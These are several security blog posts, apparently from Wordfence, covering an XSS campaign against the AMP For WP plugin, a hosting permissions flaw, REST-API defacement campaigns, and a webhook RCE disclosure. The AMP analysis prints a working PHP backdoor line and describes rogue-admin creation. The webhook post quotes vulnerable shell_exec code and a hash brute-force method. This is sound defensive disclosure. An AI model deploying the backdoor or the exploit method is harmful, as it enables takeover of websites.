XSS Injection Campaign Exploits WordPress AMP Plugin

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version

The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.

In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.

The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.

The Vulnerability

A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.

The code above from install/index.php iterates over POST data without any capabilities checks.

The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.

Attacking The Admin

The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:

If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at This script, stat.js, contains a number of notable features.

The SendData() function above notifies the C2 server of any actions successfully executed by the malicious JavaScript

One area of concern is the processNewUser() function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:

The processNewUser() function attempts to use a hidden iframe to execute the user registration process.

After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a click() event to the submit button to create a new user with admin access.

In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.

The function defined above is used to inject malicious PHP into a site’s plugins.

The PHP backdoors injected into a site’s plugins are as follows:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);


Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.

C2 Server

The command and control (C2) server for this campaign is currently located at This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.

Coding Style

As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.

While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.

Indicators Of Compromise (IOCs)

Most Prevalent Attacking IPs


Outbound Domains Accessed


Associated User-Agents

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
    • supportuuser
  • The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the option_name field.


This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.

We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.

As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.

For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.

Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry. 

The post XSS Injection Campaign Exploits WordPress AMP Plugin appeared first on Wordfence.


Service Vulnerability: MelbourneIT Fixes NFS Permissions Problem

In February, we wrote about a vulnerability on three shared hosting services.  Following our Vulnerability Disclosure Policy, we had alerted them about vulnerable permissions on shared drives on their servers. They fixed the problem, making things safer both for their customers and for their customers’ site visitors.

During the past month we noticed the same kind of attacks happening on websites hosted with MelbourneIT (and, which they own). We were able to verify the same vulnerability on their platform, and we disclosed it to them. We’re happy to say they moved quickly to fix it as well.

A Note on Disclosure and Responsible Vendors

It’s important to note that vulnerabilities are a fact of life in any service, system or software. Finding, confidentially disclosing and fixing vulnerabilities is how our industry works with the information security community to improve the products and services we all use and to keep the public safe. The process that we use is well-established, and widely used by organizations that include Google’s Project Zero.

When we find vulnerabilities and vendors are responsive, you benefit as a customer of those vendors and can know that your vendor reacts quickly to fix security problems and will likely do so long term, keeping you and your data safe.

A disclosure like this is not an opportunity for “vendor shaming” or a witch hunt. All developers who write enough code will write vulnerabilities at some point in their career. Instead, it’s a moment to celebrate responsive vendors and a well-handled incident that left customers and the online community safer.

At Wordfence, we are excited when a vendor works closely with us to fix a vulnerability, and responsive vendors garner the greatest respect from our engineering team.

Vulnerability Details

Customer files on MelbourneIT cloud hosting are housed in a couple of different shared drives, and the directory names follow a set pattern. For example:

As in the platforms we wrote about in February, all of the folders down to /clientdata/apache-www/e/x belonged to the root account, and did not permit directory listing to other users. But they were all world-traversable, and the directories containing the site files were world-readable (along with the files themselves). So any user who knew the full path to a site root directory could list and read the files in it.

For example, a hacker could take over Then, using DNS tools, they could find other WordPress sites running on the same IP address. They might find and correctly guess that it was stored in /clientdata/apache-www/o/t/ Knowing that full path, they could read the wp-config.php file and use the credentials in it to tamper with the database of


As in the previous cases, there was little anyone could do to prevent exploitation. Thankfully, the team at MelbourneIT took the issue very seriously, and moved quickly to fix it. Our disclosure to their security team was on March 6. They notified us on March 14 that they were rolling out a patch, and notified us on March 19 that deployment was complete.

What You Need to Do

If you use the cloud hosting service on MelbourneIT or, use Wordfence to check your site for issues. In particular, there may be rogue administrator accounts created, or passwords changed on existing administrator accounts. The attackers are also adding malicious scripts and cloaked spam into posts and pages. If your site has these issues, we recommend our comprehensive learning center resources to help you resolve them.


We are pleased with the positive impact adding service vulnerabilities to our Vulnerability Disclosure Policy is already having. The hosting companies we have worked with have been generally responsive, deploying fixes to issues that were leaving many WordPress sites vulnerable to hacking.

With the popularity of WordPress today, the security of the WordPress community at large is critically important. We are pleased to see that our new approach is working to support that need and bringing about an improved overall security posture for the community.

Our Security Services Team continues to analyze hundreds of hacked websites each month, so we expect to find more of these on an ongoing basis. We will continue to provide updates here on the blog.

Note: All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.

The post Service Vulnerability: MelbourneIT Fixes NFS Permissions Problem appeared first on Wordfence.


A Feeding Frenzy to Deface WordPress Sites

In this report we share data on the ongoing flood of WordPress REST-API exploits we are seeing in the wild. We include data on 20 different site defacement campaigns we are currently tracking.

We show how attackers have switched to the REST-API exploit and how it has increased their success rates. We have also seen an evolution in the attack method targeting the REST-API exploit and have evolved our rule-set accordingly. We also demonstrate how hackers are competing to deface sites using the REST-API exploit.

This report highlights the immediate need to protect your site against this attack. Both our attack data and our site cleaning team’s observations are indicating that this attack is having a wide impact.

Background on the REST-API Vulnerability

On January 26th, WordPress released version 4.7.2 which contained a security fix for a vulnerability that allows attackers to modify content on a WordPress site. They did not announce the fix at the time so that attackers would not be aware of the vulnerability while the WordPress auto-update mechanism updated vulnerable sites.

The hidden security fix was announced on  February 1st, six days later, at which time attackers became aware of the exploit. By that time a substantial number of WordPress websites had updated to version 4.7.2.

We immediately deployed a firewall rule to our Premium customers on February 1st and started logging attacks targeting the REST API vulnerability. We didn’t see many attacks until February 3 when volume started picking up.

Attacks continued and February 6th we saw attackers had discovered a new variant on the attack which bypassed our rule and the rules that other firewall vendors had put into place. We immediately deployed a second rule to our Premium Wordfence customers which was pushed out in real-time early on February 6th.

The new rule is in red on the chart above and shows how attackers massively ramped up the volume of attacks they were launching using this new, more successful variant of the attack. The chart above is up to midnight last night, Pacific time. We have confirmed that the second newer variant of the attack still bypasses at least one major cloud firewall vendor as of 10am PST this morning.

This vulnerability has resulted in a kind of feeding frenzy where attackers are competing with each other to deface vulnerable WordPress websites. During the past 48 hours we have seen over 800,000 attacks exploiting this specific vulnerability across the WordPress sites we monitor.

If you are using Wordfence Premium, you are fully protected against this vulnerability, even if you are running an older vulnerable version of WordPress. There are multiple variants of the REST-API exploit and the Wordfence firewall Premium rule-set protects against all of them.

Tracking REST-API Defacement Campaigns

The attackers using the REST-API exploit are defacing websites by leaving their own signature on a defaced WordPress page. We are currently tracking 20 different defacement campaigns.

The table below shows the total attacks for each campaign, the number of unique WordPress websites attacked and the number of IP addresses that each attacker is using. On the far right we also include the number of defaced pages for each campaign, according to this morning’s Google results.

Success Rates for REST-API Attack Campaigns

To determine which campaigns have the highest success rate, we did a Google search for each campaign name in quotes. This gives us an indication of the approximate number of defaced pages per campaign. The actual numbers are in the table above in the far right column.

In some cases the attacker may have used a different exploit to deface a page. However, as you’ll see below, the number of defaced pages for each of these campaigns has increased dramatically since the emergence of the REST-API exploit.

How the REST-API vulnerability has increased total compromised sites over time

By using Google Trends, we can get a good indication of the success rate of our attackers over time. Using Trends, we found that since mid 2014, these campaigns have had little success compromising websites.

Then starting in early February when the REST API vulnerability was disclosed, the success rate for these campaigns massively increased. Google started indexing compromised pages and it shows up in Google trends:

If we change the scale of the chart to just show 2017, you can see the huge spike in success these attack campaigns have had infecting WordPress websites using the REST-API vulnerability. This spike coincides exactly with the date the REST-API vulnerability was disclosed.

Well Known Attackers Switching to the REST-API Exploit

Lets take a look at our top defacer. If we look at the list of MuhmadEmad’s compromised sites on, he usually drops a file called krd.html or defaces the home page. The content usually looks like this.

On zone-h, which is an archive of hacked sites, it is clear that he took a break for a couple of days after the REST-API attack emerged on February 1st, perhaps to develop a new exploit.

Then he started attacking starting February 4th, and you can see the compromised URLs change to individual defaced WordPress pages:

Hackers Competing to Compromise Sites

In some cases we are seeing hackers competing to deface sites. On the defaced page below you can see HolaKo has defaced the current page, and the link to the next page shows that the following page is defaced by ‘Imam’.

In some cases we can see defaced pages being defaced again by another attacker. The hackers are getting hacked. This page was defaced by ‘Imam’:

But when you visit the page, the title has now been changed to show another defacer has taken over.

Sites that suffer from this vulnerability will continue to be defaced and re-defaced until they either install a firewall like Wordfence or upgrade to WordPress 4.7.2.

Top 25 Attacking IPs Exploiting the REST-API Vulnerability

The following is a list of the top 25 IP addresses by number of attacks, that are exploiting the WordPress REST-API vulnerability. If you are a security researcher you’re welcome to download this table and incorporate it into your own research.



This is one of the worst WordPress related vulnerabilities to emerge in some time. Our site cleaners have been working with site owners all week to help them clean defaced sites. In every case the customer was not running our Premium firewall and had not updated to WordPress 4.7.2.

If you have not been able to update to WordPress 4.7.2 but are using Wordfence Premium, you have been protected against this since exploitation started.

As always, I will be around to reply to your comments.

Mark Maunder – Wordfence Founder/CEO.

The post A Feeding Frenzy to Deface WordPress Sites appeared first on Wordfence.


Hacking 27% of the Web via WordPress Auto-Update

At Wordfence, we continually look for security vulnerabilities in the third party plugins and themes that are widely used by the WordPress community. In addition to this research, we regularly examine WordPress core and the related systems. Recently we discovered a major vulnerability that could have caused a mass compromise of the majority of WordPress sites.

The vulnerability we describe below may have allowed an attacker to use the WordPress auto-update function, which is turned on by default, to deploy malware to up to 27% of the Web at once.

Choosing the most damaging target to attack

The server (or servers) has an important role in the WordPress ecosystem: it releases automatic updates for WordPress websites. Every WordPress installation makes a request to this server about once an hour to check for plugin, theme, or WordPress core updates. The response from this server contains information about any newer versions that may be available, including if the plugin, theme or core needs to be updated automatically. It also includes a URL to download and install the updated software.


Compromising this server could allow an attacker to supply their own URL to download and install software to WordPress websites, automatically. This provides a way for an attacker to mass-compromise WordPress websites through the auto-update mechanism supplied by This is all possible because WordPress itself provides no signature verification of the software being installed. It will trust any URL and any package that is supplied by


WordPress powers approximately 27% of all websites on the Internet. According to the WordPress documentation: “By default, every site has automatic updates enabled for minor core releases and translation files.”. By compromising, an attacker could conceivably compromise more than a quarter of the websites worldwide in one stroke.

Below we describe the technical details of a serious security vulnerability that we uncovered earlier this year that could compromise We reported this vulnerability to the WordPress team via HackerOne. They fixed the vulnerability within a few hours of acknowledging the report. They have also awarded Wordfence lead developer Matt Barry a bounty for discovering and reporting it.

Technical Details of the vulnerability has a GitHub webhook that allows WordPress core developers to sync their code to the SVN repository. This allows them to use GitHub as their source code repository. Then, when they commit a change to GitHub it will reach out and hit a URL on which then triggers a process on that brings down the latest code that was just added to GitHub.

The URL that GitHub contacts on is called a ‘webhook’ and is written in PHP. The PHP for this webhook is open source and can be found in this repository. We analyzed this code and found a vulnerability that could allow an attacker to execute their own code on and gain access to This is called a remote code execution vulnerability or RCE.

When a request arrives at, presumably from GitHub, the webhook verifies that it is in fact GitHub making the request by using a shared secret and hashing algorithm. The way this works is that, as GitHub is about to send JSON data, it combines the data it’s about to send with a secret value that has been pre-shared with It then hashes the combination and it sends that hash along with the JSON data to

When receives the request, it takes the JSON data, also combines it with the shared secret and computes a hash of its own. If its hash matches the hash that GitHub just sent, then GitHub must know the shared secret and that proves that GitHub is allowed to make the request it’s making.

GitHub uses SHA1 to generate the hash and supplies the signature in a header: X-Hub-Signature: sha1={hash}. The webhook extracts both the algorithm, in this case ‘sha1’, and the hash to verify the signature. The vulnerability here lies in the fact the code will use the hash function supplied by the client, normally github. That means that, whether it’s GitHub or an attacker hitting the webhook, they get to specify which hashing algorithm is used to verify the message authenticity, as you can see in the code below.

function verify_github_signature() {
	if ( empty( $_SERVER['HTTP_X_HUB_SIGNATURE'] ) )
		return false;

	list( $algo, $hash ) = explode( '=', $_SERVER['HTTP_X_HUB_SIGNATURE'], 2 );

	// Todo? Doesn't handle standard $_POST, only application/json
	$hmac = hash_hmac( $algo, file_get_contents('php://input' ), FEATURE_PLUGIN_GH_SYNC_SECRET );

	return $hash === $hmac;

If we can bypass the webhook authentication mechanism, there is a POST parameter for the GitHub project URL that is passed unescaped to shell_exec which allows us to execute shell commands on This allows us to compromise the server. You can see the shell_exec call in the code sample below:

$repo_name = $_POST['repository']['full_name'];
$repo_url  = $_POST['repository']['git_url'];

if ( ! $this->verify_valid_plugin( $repo_name ) ) {
	die( 'Sorry, This Github repo is not configured for Plugins SVN Github Sync. Please contact us.' );

$svn_directory = $this->whitelisted_repos[ $repo_name ];

$this->process_github_to_svn( $repo_url, $svn_directory );
function process_github_to_svn( $github_url, $svn_directory ) {


	echo shell_exec( __DIR__ . "/ $github_url $svn_directory 2>&1" );

	putenv( 'PHP_SVN_USER' );
	putenv( 'PHP_SVN_PASSWORD' );

The challenge here is to somehow fool the webhook into thinking that we know the shared secret that GitHub knows. That means that we need to send a hash with our message that ‘checks out’. In other words it appears to be a hash of the message we’re sending and the secret value that only and GitHub know – the shared secret.

As we pointed out above, the webhook lets us choose our own hashing algorithm. PHP provides a number of non-cryptographically secure hashing functions like crc32, fnv32 and adler32, which generate a 32bit hash vs the expected 160 bit hash generated by SHA1. These hashing functions are checksums which are designed to catch data transmission errors and be highly performant with large inputs. They are not designed to provide security.

If we can find a weak enough hashing algorithm, it lets us brute force attack the webhook. We just need to send a series of hashes, trying to guess the hash value of the shared secret and the data we’re sending, until we get it right and allows the request.

By using any one of these weak hashing algorithms, we reduce the brute force space, or number of guesses we have to make, significantly (2^160 down to 2^32). But it is still not feasible to launch this attack over the network to without it being incredibly noisy as we make a large number of guesses.

Of these weak algorithms, the one that stood out the most was adler32, which is actually two 16 bit hashing functions with their outputs concatenated together. It also has a known implementation flaw when used on short messages. When combined with PHP’s hash_hmac function, the second round of hashing will only ever pass 68 bytes of data to adler32 which severely limits the amount of possible hashes that can be generated given any input at the start of the hashing process.

Not only are the total number of hashes limited, but there’s also significant non-uniformity in the hash space. This results in many hashes being the same even though they were supplied with different inputs. The distribution of possible checksum values are similar to rolling dice where 7 is the most likely outcome (the median value), and the probability of rolling any value in that range would work its way out from the median value (6 and 8 would have the next highest probability, and on it goes to 2 and 12).

The proof of concept supplied in the report utilizes the non-uniformity by creating a profile of most common significant bytes in each 16 bit hash generated. Using this, we were able to reduce the amount of requests from 2^32 to approximately 100,000 to 400,000 based on our tests with randomly generated keys.

This is a far more manageable number of guesses that we would need to send to the webhook on which could be made over the course of a few hours. Once the webhook allows the request, the attack executes a shell command on which gives us access to the underlying operating system and is compromised.

From there an attacker could conceivably create their own update for all WordPress websites and distribute a backdoor and other malicious code to more than one quarter of the Web. They would also be able to disable subsequent auto-updates so that the WordPress team would lose the ability to deploy a fix to affected websites.

The CVSS vulnerability score for this vulnerability is:

Are You at Risk?

We confidentially reported this vulnerability on September 2nd to Automattic and they pushed a fix to the code repository on September 7th. Presumably the same fix had been deployed to production before then.

We still consider a single point of failure when distributing WordPress core, plugins and theme updates. We have made attempts to start a conversation with members of Automattic’s security team about improving the security posture of the automatic update system, but we have not yet received a response.

Starting three years ago, there has been some discussion about providing an authentication mechanism for the code that the WordPress servers distribute. So far there has been no progress on this. The issue came up again this week on a security mailing list.

Should or a similarly critical server be compromised, it is possible that an attacker could compromise WordPress sites en-masse across the web in a very short amount of time and simultaneously remove the ability for the WordPress/Automattic security team to push out a security update or a fix.

This would clearly be a disaster for the Web and the online community. The phrase “too big to fail” comes to mind. With 27% market share, WordPress powers over a quarter of all websites. A failure of this magnitude would be catastrophic for the Web. Furthermore, it would provide a massive attack platform for the attacker, who would control millions of web hosting accounts from which they could launch further attacks.

Disclosure Timeline

  • 2016-09-02 21:08 (-0400) – Initial report submitted to Automattic via Hackerone.
  • 2016-09-06 19:48 (-0400) – Automattic acknowledges the report.
  • 2016-09-07 02:02 (-0400) – A fix for the vulnerability is pushed to the repository.
  • 2016-09-21 17:17 (-0400) – The report is resolved and closed.
  • 2016-10-29 05:21 (-0400) – Bounty is awarded by Automattic.
  • 2016-11-22 – Public disclosure.


We would like to congratulate Lead Wordfence Developer Matt Barry for this spectacular research. Matt tackled this project in his spare time and handled the disclosure of this via HackerOne to the Automattic team. Matt is also the technical author of this post with some minor assistance from the rest of the Wordfence team.

The post Hacking 27% of the Web via WordPress Auto-Update appeared first on Wordfence.